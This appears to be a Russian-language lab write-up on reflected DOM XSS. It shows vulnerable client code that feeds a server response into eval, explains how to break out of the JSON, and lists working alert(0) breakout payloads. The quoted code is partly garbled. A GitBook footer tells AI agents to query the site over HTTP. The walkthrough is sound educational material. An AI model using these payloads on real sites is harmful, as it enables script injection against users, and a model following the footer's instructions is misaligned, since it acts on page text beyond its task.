> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/reflected-dom-xss.md).

# Отражённый DOM XSS

### Отражённый DOM XSS

В этой лабораторной работе показана продуманная уязвимость DOM. Данные, отправленные в запросе, возвращаются сервером, затем клиентский скрипт опасно обрабатывает их и записывает в `eval`, открывая путь к выполнению кода.

Клиент отправляет AJAX-запрос к `path + window.location.search`. Когда приходит ответ, код выглядит так:

```javascript
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " результатов поиска по '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                view post
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        Назад к блогу
        backToBlog.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}
```

У `displaySearchResults` функция выполняется `searchResultsObj` и динамически создаёт элементы (h1, h2, p, a, img и т. д.), присваивая `innerText` для заголовков и аннотаций, но важно `searchResultsObj` через `eval`.

```javascript
if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
```

<figure><img src="/files/3a58f36ea0350e4154343bfdc5c3984ef2878b91" alt=""><figcaption></figcaption></figure>

Использование `eval('var searchResultsObj = ' + this.responseText)` критично: если управляемый ответ содержит специально сформированный текст, можно нарушить ожидаемый синтаксис и внедрить JavaScript-код, который будет выполнен во время вычисления.

* Отправьте обратно (или перехватите) `responseText` содержащий атакующее значение для `searchTerm` или аналогичного поля.
* Выйдите из ожидаемой строковой/литеральной JSON-структуры, закрыв её и добавив исполняемый код, затем нейтрализуйте остальное комментарием (`//`) чтобы избежать последующих синтаксических ошибок.

<figure><img src="/files/5362d4dadb7a92afa10d8d64bb1b900f342dd6e8" alt=""><figcaption></figcaption></figure>

#### Примеры протестированных полезных нагрузок

(Эти строки предназначены для вставки в часть отражённого ответа — они показывают, как выйти из структуры и выполнить `alert(0)`)

```javascript
hello/\"jordan

hello/\"jordan}//
```

<figure><img src="/files/3e6a6923e74de1c253628e9cca2f11b1a84f3569" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9fc585f492443931beec145d77a48b4e2975ce6d" alt=""><figcaption></figcaption></figure>

Внедрив одну из указанных строк в отражённую часть ответа, `eval` интерпретирует изменённую конструкцию и выполнит `alert(0)`, демонстрируя выполнение клиентского кода через отражённый DOM XSS.

```javascript
hello/\"*alert(0)}//
```

```javascript
hello/\"+alert(0)}//
```

```javascript
hello/\"-alert(0)}//
```

<figure><img src="/files/b7af5262bcd5b0e95187acfeefbcfdc5c1023fc3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/reflected-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
